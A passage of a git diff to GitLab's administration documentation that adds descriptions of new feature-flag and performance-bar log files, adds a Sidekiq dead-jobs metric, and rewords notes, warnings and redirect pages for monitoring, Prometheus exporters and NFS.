`backtrace`. Previous versions included an `error` field instead of @@ -383,7 +383,7 @@ only. For example: ## `audit_json.log` -NOTE: **Note:** +NOTE: Most log entries only exist in [GitLab Starter](https://about.gitlab.com/pricing/), however a few exist in GitLab Core. This file lives in `/var/log/gitlab/gitlab-rails/audit_json.log` for @@ -665,6 +665,31 @@ installations from source. It logs the progress of the export process. +## `features_json.log` + +> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/59587) in GitLab 13.7. + +This file's location depends on how you installed GitLab: + +- For Omnibus GitLab packages: `/var/log/gitlab/gitlab-rails/features_json.log` +- For installations from source: `/home/git/gitlab/log/features_json.log` + +The modification events from [Feature flags in development of GitLab](../development/feature_flags/index.md) +are recorded in this file. For example: + +```json +{"severity":"INFO","time":"2020-11-24T02:30:59.860Z","correlation_id":null,"key":"cd_auto_rollback","action":"enable","extra.thing":"true"} +{"severity":"INFO","time":"2020-11-24T02:31:29.108Z","correlation_id":null,"key":"cd_auto_rollback","action":"enable","extra.thing":"true"} +{"severity":"INFO","time":"2020-11-24T02:31:29.129Z","correlation_id":null,"key":"cd_auto_rollback","action":"disable","extra.thing":"false"} +{"severity":"INFO","time":"2020-11-24T02:31:29.177Z","correlation_id":null,"key":"cd_auto_rollback","action":"enable","extra.thing":"Project:1"} +{"severity":"INFO","time":"2020-11-24T02:31:29.183Z","correlation_id":null,"key":"cd_auto_rollback","action":"disable","extra.thing":"Project:1"} +{"severity":"INFO","time":"2020-11-24T02:31:29.188Z","correlation_id":null,"key":"cd_auto_rollback","action":"enable_percentage_of_time","extra.percentage":"50"} +{"severity":"INFO","time":"2020-11-24T02:31:29.193Z","correlation_id":null,"key":"cd_auto_rollback","action":"disable_percentage_of_time"} +{"severity":"INFO","time":"2020-11-24T02:31:29.198Z","correlation_id":null,"key":"cd_auto_rollback","action":"enable_percentage_of_actors","extra.percentage":"50"} +{"severity":"INFO","time":"2020-11-24T02:31:29.203Z","correlation_id":null,"key":"cd_auto_rollback","action":"disable_percentage_of_actors"} +{"severity":"INFO","time":"2020-11-24T02:31:29.329Z","correlation_id":null,"key":"cd_auto_rollback","action":"remove"} +``` + ## `auth.log` > Introduced in GitLab 12.0. @@ -751,7 +776,7 @@ are generated: > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/15442) in GitLab 12.3. -Contains details of GitLab's [Database Load Balancing](database_load_balancing.md). +Contains details of GitLab [Database Load Balancing](database_load_balancing.md). It's stored at: - `/var/log/gitlab/gitlab-rails/database_load_balancing.log` for Omnibus GitLab packages. @@ -973,12 +998,31 @@ For Omnibus GitLab installations, GitLab Exporter logs reside in `/var/log/gitla For Omnibus GitLab installations, GitLab Kubernetes Agent Server logs reside in `/var/log/gitlab/gitlab-kas/`. +## Performance bar stats + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/48149) in GitLab 13.7. + +This file lives in `/var/log/gitlab/gitlab-rails/performance_bar_json.log` for +Omnibus GitLab packages or in `/home/git/gitlab/log/performance_bar_json.log` for +installations from source. + +Performance bar statistics (currently only duration of SQL queries) are recorded in that file. For example: + +```json +{"severity":"INFO","time":"2020-12-04T09:29:44.592Z","correlation_id":"33680b1490ccd35981b03639c406a697","filename":"app/models/ci/pipeline.rb","filenum":"395","method":"each_with_object","request_id":"rYHomD0VJS4","duration_ms":26.889,"type": "sql"} +``` + +These statistics are logged on .com only, disabled on self-deployments. + ## Gathering logs When [troubleshooting](troubleshooting/index.md) issues that aren't localized to one of the previously listed components, it's helpful to simultaneously gather multiple logs and statistics from a GitLab instance. +NOTE: +GitLab Support often asks for one of these, and maintains the required tools. + ### Briefly tail the main logs If the bug or error is readily reproducible, save the main GitLab logs @@ -995,12 +1039,9 @@ Conclude the log gathering with <kbd>Ctrl</kbd> + <kbd>C</kbd>. If performance degradations or cascading errors occur that can't readily be attributed to one of the previously listed GitLab components, [GitLabSOS](https://gitlab.com/gitlab-com/support/toolbox/gitlabsos/) -can provide a perspective spanning all of Omnibus GitLab. For more details and instructions +can provide a broader perspective of the GitLab instance. For more details and instructions to run it, read [the GitLabSOS documentation](https://gitlab.com/gitlab-com/support/toolbox/gitlabsos/#gitlabsos). -NOTE: **Note:** -GitLab Support likes to use this custom-made tool. - ### Fast-stats [Fast-stats](https://gitlab.com/gitlab-com/support/toolbox/fast-stats) is a tool diff --git a/doc/administration/maven_packages.md b/doc/administration/maven_packages.md index cdcce79f8f9..690b6785941 100644 --- a/doc/administration/maven_packages.md +++ b/doc/administration/maven_packages.md @@ -3,3 +3,6 @@ redirect_to: 'packages/index.md' --- This document was moved to [another location](packages/index.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/administration/maven_repository.md b/doc/administration/maven_repository.md index cdcce79f8f9..690b6785941 100644 --- a/doc/administration/maven_repository.md +++ b/doc/administration/maven_repository.md @@ -3,3 +3,6 @@ redirect_to: 'packages/index.md' --- This document was moved to [another location](packages/index.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/administration/merge_request_diffs.md b/doc/administration/merge_request_diffs.md index 3c093d44780..92fdba6216c 100644 --- a/doc/administration/merge_request_diffs.md +++ b/doc/administration/merge_request_diffs.md @@ -1,7 +1,7 @@ --- stage: Create group: Editor -info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers" +info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments" type: reference --- @@ -67,7 +67,7 @@ that only [stores outdated diffs](#alternative-in-database-storage) outside of d ## Using object storage -CAUTION: **Warning:** +WARNING: Currently migrating to object storage is **non-reversible** Instead of storing the external diffs on disk, we recommended the use of an object @@ -102,7 +102,7 @@ be configured already. ### Object Storage Settings -NOTE: **Note:** +NOTE: In GitLab 13.2 and later, we recommend using the [consolidated object storage settings](object_storage.md#consolidated-object-storage-configuration). This section describes the earlier configuration format. diff --git a/doc/administration/monitoring/github_imports.md b/doc/administration/monitoring/github_imports.md index da7796c05f0..cf7c105e8cf 100644 --- a/doc/administration/monitoring/github_imports.md +++ b/doc/administration/monitoring/github_imports.md @@ -1,7 +1,7 @@ --- stage: Monitor group: Health -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Monitoring GitHub imports diff --git a/doc/administration/monitoring/gitlab_instance_administration_project/index.md b/doc/administration/monitoring/gitlab_instance_administration_project/index.md index 1235eb2edec..59837dcdb20 100644 --- a/doc/administration/monitoring/gitlab_instance_administration_project/index.md +++ b/doc/administration/monitoring/gitlab_instance_administration_project/index.md @@ -3,3 +3,6 @@ redirect_to: '../gitlab_self_monitoring_project/index.md' --- This document was moved to [another location](../gitlab_self_monitoring_project/index.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/administration/monitoring/gitlab_self_monitoring_project/index.md b/doc/administration/monitoring/gitlab_self_monitoring_project/index.md index fcaf9aaaaee..13d42ca2ee6 100644 --- a/doc/administration/monitoring/gitlab_self_monitoring_project/index.md +++ b/doc/administration/monitoring/gitlab_self_monitoring_project/index.md @@ -1,7 +1,7 @@ --- stage: Monitor group: Health -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # GitLab self monitoring project @@ -14,13 +14,13 @@ health of their GitLab instance. To surface this experience in a native way (similar to how you would interact with an application deployed using GitLab), a base project called "GitLab self monitoring" with [internal visibility](../../../public_access/public_access.md#internal-projects) -will be added under a group called "GitLab Instance Administrators" +is added under a group called "GitLab Instance Administrators" specifically created for visualizing and configuring the monitoring of your GitLab instance. -All administrators at the time of creation of the project and group will be -added as maintainers of the group and project, and as an admin, you'll be able -to add new members to the group to give them maintainer access to the project. +All administrators at the time of creation of the project and group are +added as maintainers of the group and project, and as an admin, you can +add new members to the group to give them maintainer access to the project. This project is used to self monitor your GitLab instance. The metrics dashboard of the project shows some basic resource usage charts, such as CPU and memory usage @@ -34,13 +34,13 @@ metrics exposed by the [GitLab exporter](../prometheus/gitlab_metrics.md#metrics 1. Navigate to **Admin Area > Settings > Metrics and profiling**, and expand the **Self monitoring** section. 1. Toggle the **Create Project** button on. -1. Once your GitLab instance creates the project, you'll see a link to the project in the text above the **Create Project** toggle. You can also find it under **Projects > Your projects**. +1. Once your GitLab instance creates the project, GitLab displays a link to the project in the text above the **Create Project** toggle. You can also find it under **Projects > Your projects**. ## Deleting the self monitoring project -CAUTION: **Warning:** -If you delete the self monitoring project, you will lose any changes made to the -project. If you create the project again, it will be created in its default state. +WARNING: +Deleting the self monitoring project removes any changes made to the project. If +you create the project again, it's created in its default state. 1. Navigate to **Admin Area > Settings > Metrics and profiling**, and expand the **Self monitoring** section. 1. Toggle the **Create Project** button off. @@ -63,7 +63,7 @@ You can also ## Connection to Prometheus -The project will be automatically configured to connect to the +The project is automatically configured to connect to the [internal Prometheus](../prometheus/index.md) instance if the Prometheus instance is present (should be the case if GitLab was installed via Omnibus and you haven't disabled it). diff --git a/doc/administration/monitoring/index.md b/doc/administration/monitoring/index.md index fbd4c1aa3dd..68dbe9f3cf9 100644 --- a/doc/administration/monitoring/index.md +++ b/doc/administration/monitoring/index.md @@ -1,7 +1,7 @@ --- stage: Monitor group: Health -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Monitoring GitLab @@ -13,7 +13,7 @@ Explore our features to monitor your GitLab instance: take action on alerts. - [Performance monitoring](performance/index.md): GitLab Performance Monitoring makes it possible to measure a wide variety of statistics of your instance. - [Prometheus](prometheus/index.md): Prometheus is a powerful time-series monitoring service, providing a flexible platform for monitoring GitLab and other software products. -- [GitHub imports](github_imports.md): Monitor the health and progress of GitLab's GitHub importer with various Prometheus metrics. +- [GitHub imports](github_imports.md): Monitor the health and progress of the GitHub importer with various Prometheus metrics. - [Monitoring uptime](../../user/admin_area/monitoring/health_check.md): Check the server status using the health check endpoint. - [IP whitelists](ip_whitelist.md): Configure GitLab for monitoring endpoints that provide health check information when probed. - [`nginx_status`](https://docs.gitlab.com/omnibus/settings/nginx.html#enablingdisabling-nginx_status): Monitor your NGINX server status diff --git a/doc/administration/monitoring/ip_whitelist.md b/doc/administration/monitoring/ip_whitelist.md index 480a4ea3598..83fbec86f57 100644 --- a/doc/administration/monitoring/ip_whitelist.md +++ b/doc/administration/monitoring/ip_whitelist.md @@ -1,14 +1,14 @@ --- stage: Monitor group: Health -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # IP whitelist > Introduced in GitLab 9.4. -NOTE: **Note:** +NOTE: We intend to [rename IP whitelist as `IP allowlist`](https://gitlab.com/gitlab-org/gitlab/-/issues/7554). GitLab provides some [monitoring endpoints](../../user/admin_area/monitoring/health_check.md) diff --git a/doc/administration/monitoring/performance/gitlab_configuration.md b/doc/administration/monitoring/performance/gitlab_configuration.md index eb9dab1af59..dd4481434a6 100644 --- a/doc/administration/monitoring/performance/gitlab_configuration.md +++ b/doc/administration/monitoring/performance/gitlab_configuration.md @@ -1,7 +1,7 @@ --- stage: Monitor group: Health -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # GitLab Configuration diff --git a/doc/administration/monitoring/performance/grafana_configuration.md b/doc/administration/monitoring/performance/grafana_configuration.md index dc77a35e44b..e76e81c6499 100644 --- a/doc/administration/monitoring/performance/grafana_configuration.md +++ b/doc/administration/monitoring/performance/grafana_configuration.md @@ -1,7 +1,7 @@ --- stage: Monitor group: Health -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Grafana Configuration @@ -113,7 +113,7 @@ If you require access to your old Grafana data but don't meet one of these crite 1. [Exporting the dashboards](https://grafana.com/docs/grafana/latest/reference/export_import/#exporting-a-dashboard) you need. 1. Refreshing the data and [re-importing your dashboards](https://grafana.com/docs/grafana/latest/reference/export_import/#importing-a-dashboard). -DANGER: **Warning:** +WARNING: These actions pose a temporary vulnerability while your old Grafana data is in use. Deciding to take any of these actions should be weighed carefully with your need to access existing data and dashboards. diff --git a/doc/administration/monitoring/performance/index.md b/doc/administration/monitoring/performance/index.md index 6ea756619f5..5b82696ae4b 100644 --- a/doc/administration/monitoring/performance/index.md +++ b/doc/administration/monitoring/performance/index.md @@ -1,7 +1,7 @@ --- stage: Monitor group: Health -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # GitLab Performance Monitoring diff --git a/doc/administration/monitoring/performance/introduction.md b/doc/administration/monitoring/performance/introduction.md index 7ace0ec5a93..a275efce5bb 100644 --- a/doc/administration/monitoring/performance/introduction.md +++ b/doc/administration/monitoring/performance/introduction.md @@ -3,3 +3,6 @@ redirect_to: 'index.md' --- This document was moved to [another location](index.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/administration/monitoring/performance/performance_bar.md b/doc/administration/monitoring/performance/performance_bar.md index 45dc4730cab..a214660bd5c 100644 --- a/doc/administration/monitoring/performance/performance_bar.md +++ b/doc/administration/monitoring/performance/performance_bar.md @@ -1,7 +1,7 @@ --- stage: Monitor group: Health -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Performance Bar diff --git a/doc/administration/monitoring/performance/prometheus.md b/doc/administration/monitoring/performance/prometheus.md index f05a420fc19..2978de865e2 100644 --- a/doc/administration/monitoring/performance/prometheus.md +++ b/doc/administration/monitoring/performance/prometheus.md @@ -3,3 +3,6 @@ redirect_to: '../prometheus/index.md' --- This document was moved to [another location](../prometheus/index.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/administration/monitoring/performance/request_profiling.md b/doc/administration/monitoring/performance/request_profiling.md index 6e03404fd26..23af50dec11 100644 --- a/doc/administration/monitoring/performance/request_profiling.md +++ b/doc/administration/monitoring/performance/request_profiling.md @@ -1,7 +1,7 @@ --- stage: Monitor group: Health -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Request Profiling diff --git a/doc/administration/monitoring/prometheus/gitlab_exporter.md b/doc/administration/monitoring/prometheus/gitlab_exporter.md index aa2eb9f3415..8e4d87cfa78 100644 --- a/doc/administration/monitoring/prometheus/gitlab_exporter.md +++ b/doc/administration/monitoring/prometheus/gitlab_exporter.md @@ -1,7 +1,7 @@ --- stage: Monitor group: Health -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # GitLab exporter diff --git a/doc/administration/monitoring/prometheus/gitlab_metrics.md b/doc/administration/monitoring/prometheus/gitlab_metrics.md index 5c9268b54e1..c5e0570515d 100644 --- a/doc/administration/monitoring/prometheus/gitlab_metrics.md +++ b/doc/administration/monitoring/prometheus/gitlab_metrics.md @@ -1,7 +1,7 @@ --- stage: Monitor group: Health -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # GitLab Prometheus metrics @@ -142,6 +142,7 @@ configuration option in `gitlab.yml`. These metrics are served from the | `sidekiq_jobs_queue_duration_seconds` | Histogram | 12.5 | Duration in seconds that a Sidekiq job was queued before being executed | `queue`, `boundary`, `external_dependencies`, `feature_category`, `urgency` | | `sidekiq_jobs_failed_total` | Counter | 12.2 | Sidekiq jobs failed | `queue`, `boundary`, `external_dependencies`, `feature_category`, `urgency` | | `sidekiq_jobs_retried_total` | Counter | 12.2 | Sidekiq jobs retried | `queue`, `boundary`, `external_dependencies`, `feature_category`, `urgency` | +| `sidekiq_jobs_dead_total` | Counter | 13.7 | Sidekiq dead jobs (jobs that have run out of retries) | `queue`, `boundary`, `external_dependencies`, `feature_category`, `urgency` | | `sidekiq_redis_requests_total` | Counter | 13.1 | Redis requests during a Sidekiq job execution | `queue`, `boundary`, `external_dependencies`, `feature_category`, `job_status`, `urgency` | | `sidekiq_elasticsearch_requests_total` | Counter | 13.1 | Elasticsearch requests during a Sidekiq job execution | `queue`, `boundary`, `external_dependencies`, `feature_category`, `job_status`, `urgency` | | `sidekiq_running_jobs` | Gauge | 12.2 | Number of Sidekiq jobs running | `queue`, `boundary`, `external_dependencies`, `feature_category`, `urgency` | @@ -309,7 +310,7 @@ instance (`cache`, `shared_state` etc.). ## Metrics shared directory -GitLab's Prometheus client requires a directory to store metrics data shared between multi-process services. +The GitLab Prometheus client requires a directory to store metrics data shared between multi-process services. Those files are shared among all instances running under Unicorn server. The directory must be accessible to all running Unicorn's processes, or metrics can't function correctly. diff --git a/doc/administration/monitoring/prometheus/gitlab_monitor_exporter.md b/doc/administration/monitoring/prometheus/gitlab_monitor_exporter.md index ae3a3d739b5..8fa2e16dcd0 100644 --- a/doc/administration/monitoring/prometheus/gitlab_monitor_exporter.md +++ b/doc/administration/monitoring/prometheus/gitlab_monitor_exporter.md @@ -3,3 +3,6 @@ redirect_to: 'gitlab_exporter.md' --- This document was moved to [another location](gitlab_exporter.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/administration/monitoring/prometheus/index.md b/doc/administration/monitoring/prometheus/index.md index 91f810dc681..80ddb87e727 100644 --- a/doc/administration/monitoring/prometheus/index.md +++ b/doc/administration/monitoring/prometheus/index.md @@ -1,7 +1,7 @@ --- stage: Monitor group: Health -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Monitoring GitLab with Prometheus @@ -10,10 +10,10 @@ info: To determine the technical writer assigned to the Stage/Group associated w > > - Prometheus and the various exporters listed in this page are bundled in the > Omnibus GitLab package. Check each exporter's documentation for the timeline -> they got added. For installations from source you will have to install them -> yourself. Over subsequent releases additional GitLab metrics will be captured. +> they got added. For installations from source you must install them +> yourself. Over subsequent releases additional GitLab metrics are captured. > - Prometheus services are on by default with GitLab 9.0. -> - Prometheus and its exporters don't authenticate users, and will be available +> - Prometheus and its exporters don't authenticate users, and are available > to anyone who can access them. [Prometheus](https://prometheus.io) is a powerful time-series monitoring service, providing a flexible @@ -34,9 +34,9 @@ dashboard tool like [Grafana](https://grafana.com). For installations from source, you must install and configure it yourself. Prometheus and its exporters are on by default, starting with GitLab 9.0. -Prometheus will run as the `gitlab-prometheus` user and listen on +Prometheus runs as the `gitlab-prometheus` user and listen on `http://localhost:9090`. By default, Prometheus is only accessible from the GitLab server itself. -Each exporter will be automatically set up as a +Each exporter is automatically set up as a monitoring target for Prometheus, unless individually disabled. To disable Prometheus and all of its exporters, as well as any added in the future: @@ -53,7 +53,7 @@ To disable Prometheus and all of its exporters, as well as any added in the futu ### Changing the port and address Prometheus listens on -CAUTION: **Caution:** +WARNING: The following change was added in [Omnibus GitLab 8.17](https://gitlab.com/gitlab-org/omnibus-gitlab/-/merge_requests/1261). Although possible, it's not recommended to change the port Prometheus listens on, as this might affect or conflict with other services running on the GitLab @@ -179,12 +179,11 @@ The next step is to tell all the other nodes where the monitoring node is: After monitoring using Service Discovery is enabled with `consul['monitoring_service_discovery'] = true`, ensure that `prometheus['scrape_configs']` is not set in `/etc/gitlab/gitlab.rb`. Setting both -`consul['monitoring_service_discovery'] = true` and `prometheus['scrape_configs']` in `/etc/gitlab/gitlab.rb` -will result in errors. +`consul['monitoring_service_discovery'] = true` and `prometheus['scrape_configs']` in `/etc/gitlab/gitlab.rb` results in errors. ### Using an external Prometheus server -CAUTION: **Caution:** +WARNING: Prometheus and most exporters don't support authentication. We don't recommend exposing them outside the local network. A few configuration changes are required to allow GitLab to be monitored by an external Prometheus server. External servers are recommended for [GitLab deployments with multiple nodes](../../reference_architectures/index.md). @@ -234,7 +233,7 @@ To use an external Prometheus server: gitlab_rails['prometheus_address'] = '192.168.0.1:9090' ``` -1. To scrape NGINX metrics, you'll also need to configure NGINX to allow the Prometheus server +1. To scrape NGINX metrics, you must also configure NGINX to allow the Prometheus server IP. For example: ```ruby @@ -350,7 +349,7 @@ To add a Prometheus dashboard for a single server GitLab setup: GitLab monitors its own internal service metrics, and makes them available at the `/-/metrics` endpoint. Unlike other exporters, this endpoint requires authentication as it's available on the same URL and port as user traffic. -[➔ Read more about the GitLab Metrics.](gitlab_metrics.md) +Read more about the [GitLab Metrics](gitlab_metrics.md). ## Bundled software metrics @@ -399,7 +398,7 @@ The GitLab exporter allows you to measure various GitLab metrics, pulled from Re > - Introduced in GitLab 9.0. > - Pod monitoring introduced in GitLab 9.4. -If your GitLab server is running within Kubernetes, Prometheus will collect metrics from the Nodes and [annotated Pods](https://prometheus.io/docs/prometheus/latest/configuration/configuration/#kubernetes_sd_config) in the cluster, including performance data on each container. This is particularly helpful if your CI/CD environments run in the same cluster, as you can use the [Prometheus project integration](../../../user/project/integrations/prometheus.md) to monitor them. +If your GitLab server is running within Kubernetes, Prometheus collects metrics from the Nodes and [annotated Pods](https://prometheus.io/docs/prometheus/latest/configuration/configuration/#kubernetes_sd_config) in the cluster, including performance data on each container. This is particularly helpful if your CI/CD environments run in the same cluster, as you can use the [Prometheus project integration](../../../user/project/integrations/prometheus.md) to monitor them. To disable the monitoring of Kubernetes: diff --git a/doc/administration/monitoring/prometheus/node_exporter.md b/doc/administration/monitoring/prometheus/node_exporter.md index fea78a3685c..f27912d5806 100644 --- a/doc/administration/monitoring/prometheus/node_exporter.md +++ b/doc/administration/monitoring/prometheus/node_exporter.md @@ -1,7 +1,7 @@ --- stage: Monitor group: Health -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Node exporter @@ -24,5 +24,5 @@ To enable the node exporter: 1. Save the file, and [reconfigure GitLab](../../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect. -Prometheus will now begin collecting performance data from the node exporter +Prometheus begins collecting performance data from the node exporter exposed at `localhost:9100`. diff --git a/doc/administration/monitoring/prometheus/pgbouncer_exporter.md b/doc/administration/monitoring/prometheus/pgbouncer_exporter.md index ff0cfc65e10..0dffad59793 100644 --- a/doc/administration/monitoring/prometheus/pgbouncer_exporter.md +++ b/doc/administration/monitoring/prometheus/pgbouncer_exporter.md @@ -1,7 +1,7 @@ --- stage: Monitor group: Health -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # PgBouncer exporter @@ -26,9 +26,9 @@ To enable the PgBouncer exporter: 1. Save the file and [reconfigure GitLab](../../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect. -Prometheus will now begin collecting performance data from the PgBouncer exporter +Prometheus begins collecting performance data from the PgBouncer exporter exposed at `localhost:9188`. -The PgBouncer exporter will also be enabled by default if the +The PgBouncer exporter is enabled by default if the [`pgbouncer_role`](https://docs.gitlab.com/omnibus/roles/#postgresql-roles) role is enabled. diff --git a/doc/administration/monitoring/prometheus/postgres_exporter.md b/doc/administration/monitoring/prometheus/postgres_exporter.md index f7368556235..8bc61ff53bb 100644 --- a/doc/administration/monitoring/prometheus/postgres_exporter.md +++ b/doc/administration/monitoring/prometheus/postgres_exporter.md @@ -1,7 +1,7 @@ --- stage: Monitor group: Health -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # PostgreSQL Server Exporter @@ -21,12 +21,12 @@ To enable the PostgreSQL Server Exporter: If PostgreSQL Server Exporter is configured on a separate node, make sure that the local address is [listed in `trust_auth_cidr_addresses`](../../postgresql/replication_and_failover.md#network-information) or the - exporter will not be able to connect to the database. + exporter can't connect to the database. 1. Save the file and [reconfigure GitLab](../../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect. -Prometheus will now automatically begin collecting performance data from +Prometheus begins collecting performance data from the PostgreSQL Server Exporter exposed under `localhost:9187`. ## Advanced configuration diff --git a/doc/administration/monitoring/prometheus/redis_exporter.md b/doc/administration/monitoring/prometheus/redis_exporter.md index 41a84f1f3ed..03c215625ec 100644 --- a/doc/administration/monitoring/prometheus/redis_exporter.md +++ b/doc/administration/monitoring/prometheus/redis_exporter.md @@ -1,7 +1,7 @@ --- stage: Monitor group: Health -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Redis exporter @@ -25,5 +25,5 @@ To enable the Redis exporter: 1. Save the file and [reconfigure GitLab](../../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect. -Prometheus will now begin collecting performance data from +Prometheus begins collecting performance data from the Redis exporter exposed at `localhost:9121`. diff --git a/doc/administration/monitoring/prometheus/registry_exporter.md b/doc/administration/monitoring/prometheus/registry_exporter.md index 3bf4db8a665..009d94491f3 100644 --- a/doc/administration/monitoring/prometheus/registry_exporter.md +++ b/doc/administration/monitoring/prometheus/registry_exporter.md @@ -1,7 +1,7 @@ --- stage: Monitor group: Health -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Registry exporter @@ -21,7 +21,7 @@ To enable it: 1. Save the file and [reconfigure GitLab](../../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect. -Prometheus will now automatically begin collecting performance data from +Prometheus automatically begins collecting performance data from the registry exporter exposed under `localhost:5001/metrics`. [← Back to the main Prometheus page](index.md) diff --git a/doc/administration/nfs.md b/doc/administration/nfs.md index 3e16b173003..1e2ac531329 100644 --- a/doc/administration/nfs.md +++ b/doc/administration/nfs.md @@ -1,7 +1,7 @@ --- -stage: none -group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +stage: Enablement +group: Distribution +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference --- @@ -14,7 +14,7 @@ Pages](https://gitlab.com/gitlab-org/gitlab-pages/-/issues/196). For data objects such as LFS, Uploads, Artifacts, etc., an [Object Storage service](object_storage.md) is recommended over NFS where possible, due to better performance. -CAUTION: **Caution:** +WARNING: From GitLab 13.0, using NFS for Git repositories is deprecated. In GitLab 14.0, support for NFS for Git repositories is scheduled to be removed. Upgrade to [Gitaly Cluster](gitaly/praefect.md) as soon as possible. @@ -118,7 +118,7 @@ To disable NFS server delegation, do the following: 1. Restart the NFS server process. For example, on CentOS run `service nfs restart`. -NOTE: **Note:** +NOTE: The kernel bug may be fixed in [more recent kernels with this commit](https://github.com/torvalds/linux/commit/95da1b3a5aded124dd1bda1e3cdb876184813140). Red Hat Enterprise 7 [shipped a kernel 